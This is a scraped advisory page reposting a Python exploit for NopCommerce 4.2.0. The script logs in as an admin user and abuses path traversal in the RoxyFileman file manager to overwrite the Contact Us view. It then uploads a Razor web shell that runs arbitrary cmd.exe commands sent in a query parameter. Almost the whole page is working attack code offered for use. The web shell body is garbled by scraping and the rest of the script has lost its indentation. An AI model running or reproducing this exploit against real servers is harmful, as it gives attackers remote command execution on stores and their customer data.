Exploit/Advisories

Published on December 17th, 2019 📆 | 6287 Views ⚑

0

NopCommerce 4.2.0 – Privilege Escalation


iSpeech

# Vulnerability Title: NopCommerce 4.2.0 -  Privilege Escalation
# Author: Alessandro Magnosi (d3adc0de)
# Date: 2019-07-07
# Vendor Homepage: https://www.nopcommerce.com/
# Software Link : https://www.nopcommerce.com/
# Tested Version: 4.2.0
# Vulnerability Type: Privilege Escalation
# Tested on OS: Windows 10, CentOS, Docker
# Exploit designed for: NopCommerce 4.2.0 on IIS

import requests
import argparse
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

def proxy(flag):
    return {"http" : "http://127.0.0.1:9090", "https" : "http://127.0.0.1:9090"} if flag else None

def geturl(baseurl, type):
    if type == "login":
        return baseurl + "/login"
    elif type == "mv":
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=RENAMEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2fCommon%2f&n=Common2"
    elif type == "mkdir":	
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=CREATEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2f&n=Common"
    elif type == "put":	
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=UPLOAD"
    elif type == "contactus":    
        return baseurl + "/contactus"
    else:
        return ""

def login(email, password, url, proxy):
    res = requests.get(geturl(url, "login"), proxies=proxy, verify=False, allow_redirects=False)
    cookie = res.cookies.get_dict()
    soup = BeautifulSoup(res.text, features="html.parser")
    token = soup.find("input", {"name":"__RequestVerificationToken"})["value"]
    res = requests.post(geturl(url, "login"), cookies=cookie, data={"Email":email, "Password":password, "__RequestVerificationToken":token, "RememberMe":"false"}, proxies=proxy, verify=False, allow_redirects=False)
    cookies = res.cookies.get_dict()
    return { **cookies, **cookie }

def shellupload(email, password, url, proxy):
    print("[+] Trying uploading shell from")	
    cookies = login(email, password, url, proxy)
    # Rename Common Directory
    requests.get(geturl(url, "mv"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Create Common Directory
    requests.get(geturl(url, "mkdir"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Upload File into Common
    requests.post(geturl(url, "put"), headers={"Content-Type" : "multipart/form-data; boundary=---------------------------3125261928760" ,"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, data="-----------------------------3125261928760rnContent-Disposition: form-data; name="action"rnrnuploadrn-----------------------------3125261928760rnContent-Disposition: form-data; name="method"rnrnajaxrn-----------------------------3125261928760rnContent-Disposition: form-data; name="d"rnrn/images/uploaded/../../../../../../../../../../inetpub/wwwroot/nopcommerce/Views/Common/rn-----------------------------3125261928760rnContent-Disposition: form-data; name="files[]"; filename="ContactUs.cshtml"rnContent-Type: image/pngrnrn@using Systemrn@using System.Diagnosticsrnrn@{ rn    ViewData["Title"] = "MVC Sh3ll Windows";rn    var result = "";rn    var cmd = Context.Request.Query["cmd"];rn    if (!String.IsNullOrEmpty(cmd)){rn        result = Bash(cmd);rn    }rnrn    if (String.IsNullOrEmpty(result)){rn        result = "Invalid command or something didn't work";rn    }rnrn}rnrn@functions{rn    public static string Bash (string cmd)rn    {rn        var result = "";rn        var escapedArgs = cmd.Replace("\"", "\\\"");rn        var process = new Process()rn        {rn            StartInfo = new ProcessStartInforn            {rn                FileName = "cmd.exe",rn                Arguments = $"/C \"{escapedArgs}\"",rn                RedirectStandardOutput = true,rn                UseShellExecute = false,rn                CreateNoWindow = true,rn            }rn        };rnrn        process.Start();rn        result = process.StandardOutput.ReadToEnd();rn        process.WaitForExit();rnrn        return result;rn    }rn}rnrnrnrnrnrnrnrn

@ViewData["Title"].

rn

@ViewData["Message"]

rn

Output for:> @cmd

rnrnrn
rnC#:>@cmdrntrn@resultrntrnC#:>rn

rnrn
rnrn

Enter your command below:

rnrn rntrnrnrn-----------------------------3125261928760--", proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
# Test if it is working
res = requests.get(geturl(url, "contactus"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
soup = BeautifulSoup(res.text, features="html.parser")
test = soup.find("span", {"id" : "cmdResult"})
if test is None:
print("[-] Maybe the target is not vulnerable, or you need to restart the appliance")
else:
print("[+] Shell uploaded under contact us page")

def main():
parser = argparse.ArgumentParser(description='Upload a shell in NopCommerce')
parser.add_argument(
'-e', '--email', required=True, type=str, help='Username')
parser.add_argument(
'-p', '--password', required=True, type=str, help='Password')
parser.add_argument(
'-u', '--url', required=True, type=str, help='Base Url of NopCommerce')
parser.add_argument(
'-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)')





args = parser.parse_args()

shellupload(args.email, args.password, args.url, proxy(args.proxy))

if __name__ == '__main__':
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
main()

https://www.exploit-db.com/exploits/47783

Tagged with:



Comments are closed.